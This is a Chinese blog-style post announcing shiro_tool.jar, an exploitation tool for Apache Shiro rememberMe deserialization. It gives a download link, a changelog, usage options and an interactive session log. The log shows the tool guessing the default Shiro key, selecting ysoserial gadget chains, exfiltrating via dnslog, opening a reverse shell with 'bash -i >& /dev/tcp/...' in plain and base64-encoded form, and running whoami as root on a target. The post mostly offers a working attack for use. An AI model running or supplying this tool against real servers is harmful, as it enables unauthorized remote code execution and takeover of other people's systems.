下载地址:https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip
2021-03-31:
新增自定义或随机useragent
randomagent --> random useragent
useragent= --> set useragent
cookiename= --> default: rememberMe
2020-10-16:
放出来一些功能:
1、spring/tomcat回显,执行命令的时候,x=whoami 就行
2、批量检测是否shiro
3、目标服务器不出网的情况下探测
2020-08-21:
新增了cc8 cc9 cc10利用链
新增了输出payload模式,在执行命令的时候输入output=on即可。
参考下面的示例
2020-05-26:
原来的停止服务了,请下载最新版本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | > java -jar shiro_tool.jar Usage: java -jar shiro_tool.jar https: //xx .xx.xx.xx nocheck --> skip check target is shiro or not. skip --> all gadget default can be use randomagent --> random useragent useragent= --> set useragent cookiename= --> default: rememberMe 不是rememberMe的时候用 x= --> print result cmd= --> set command to run dcmd= --> set command to run, command format base64 string key= --> set a shiro key req= --> request body file request body file 抓包保存到文件里,这里写文件名 keys= --> keys file 自定义key的文件,key按行分割,即每行写一个 java - cp shiro_tool.jar shiro.Check [admin@ shiro]java - shiro_tool.jar https: //xx .xx.xx.xx/ [-] target: https: //xx .xx.xx.xx/ [-] target is use shiro [-] start guess shiro key. [-] shiro key: kPH+bIxk5D2deZiIxcaaaA== [-] check URLDNS [*] find : URLDNS can be use [-] check CommonsBeanutils1 [*] find : CommonsBeanutils1 can be use [-] check CommonsCollections1 [-] check CommonsCollections2 [-] check CommonsCollections3 [-] check CommonsCollections4 [-] check CommonsCollections5 [-] check CommonsCollections6 [-] check CommonsCollections7 [-] check CommonsCollections8 [-] check CommonsCollections9 [-] check CommonsCollections10 [-] check Groovy1 [*] find : Groovy1 can be use [-] check JSON1 [*] find : JSON1 can be use [-] check Spring1 [*] find : Spring1 can be use [-] check Spring2 [-] check JRMPClient [*] find : JRMPClient can be use [*] JRMPClient please use: java - cp shiro_tool.jar ysoserial.exploit.JRMPListener 0: URLDNS 1: CommonsBeanutils1 2: Groovy1 3: JSON1 4: Spring1 5: JRMPClient [-] please enter the number(0-6) 3 [-] use gadget: JSON1 [*] command example: bash -i >& /dev/tcp/xx .xx.xx.xx /80 0>&1 [*] command example: curl dnslog.xx.com [*] if need base64 command , input should startwith bash = /powershell = /python = /perl = [-] please enter command , input q or quit to quit > curl json.dnslog.xx.cn [-] start process command : curl json.dnslog.xx.cn [-] please enter command , input q or quit to quit > bash = bash -i >& /dev/tcp/xx .xx.xx.xx /80 0>&1 [-] start process command : bash -c { echo ,YmFzaD1iYXNoIC1pID4mIC9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzgwIDA+JjE=}|{ base64 ,-d}|{ bash ,-i} [-] please enter command , input q or quit to quit > output=on [-] print payload mode on. [-] please enter command , enter q or quit to quit, enter back to re-choose gadget > whoami kPH+bIxk5D2deZiIxcaaaA== - CommonsBeanutils1 - zEC2T+ZP+ib2g+NLMrrU0LRsNu3lr7kjq 82987eI8FZxA8ckaX8LsMNHdParxVS9aYg0Oxl91WD5GztG6Dmg /QO/sjxi +kX /sFpHgqwtG4MCQoogH Jkhnj73PI6Wn8AJWQyXoOGNMkyboGcEm0Ti1h+WMGQEqw57tRl7Pjr0pMr2oZcUj9huwC /Lfr090FX7v rPrU5JnQm2Qo7ZrMPnxENXs0yMT6HfU75OejeF6kXbWTaGlvfByscF1ljoDR /k2txdQ1eK4nZ4ReOAqM uUeeaXwirEw2kg58GktvB2Ghw4egXJBQUdP3H8iE+zrkf12YlPs /RAOq8w0mWfvwB7EnCW3Z83YP8vV1 +reLT9oNyUpCfjKyQVodnpZJY7If4F9al8He7E832RR3mhFvsjJDyNFTbB4TPrRqFDehSVuHib5qkh0s 0YjvCGErxDLH9pFS4G9rNYQeAnXBKeNzS5q2O0xCe5xg4X6l8R6XsU2 /V1d6wd27U7u18 +DJlo /v58vj SyUtUaEAAuMN9C30Rr+r7Tk9MVC55eS8l82fURpUwttcRADhJ0esKHAFFAkwnisbAb4Uugz3IADojYlH BNFtWFuV2dsuqkionEROKLIdVHJGR8URmk79v8lbLbpCWI3cTCf81SwwBoYylKXCyHX2X08VlEUvuHWk ypx9gVvDuQQQFTGP4ljwpU1NlQPqxaLXmnZ5TyJN2sycL9s8VWMYls4uFATtMkpXXcwaQGFVjCzFrABv [-] please enter command , enter q or quit to quit, enter back to re-choose gadget > x= whoami root [-] please enter command , enter q or quit to quit, enter back to re-choose gadget > quit [-] start process command : quit [-] quit |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统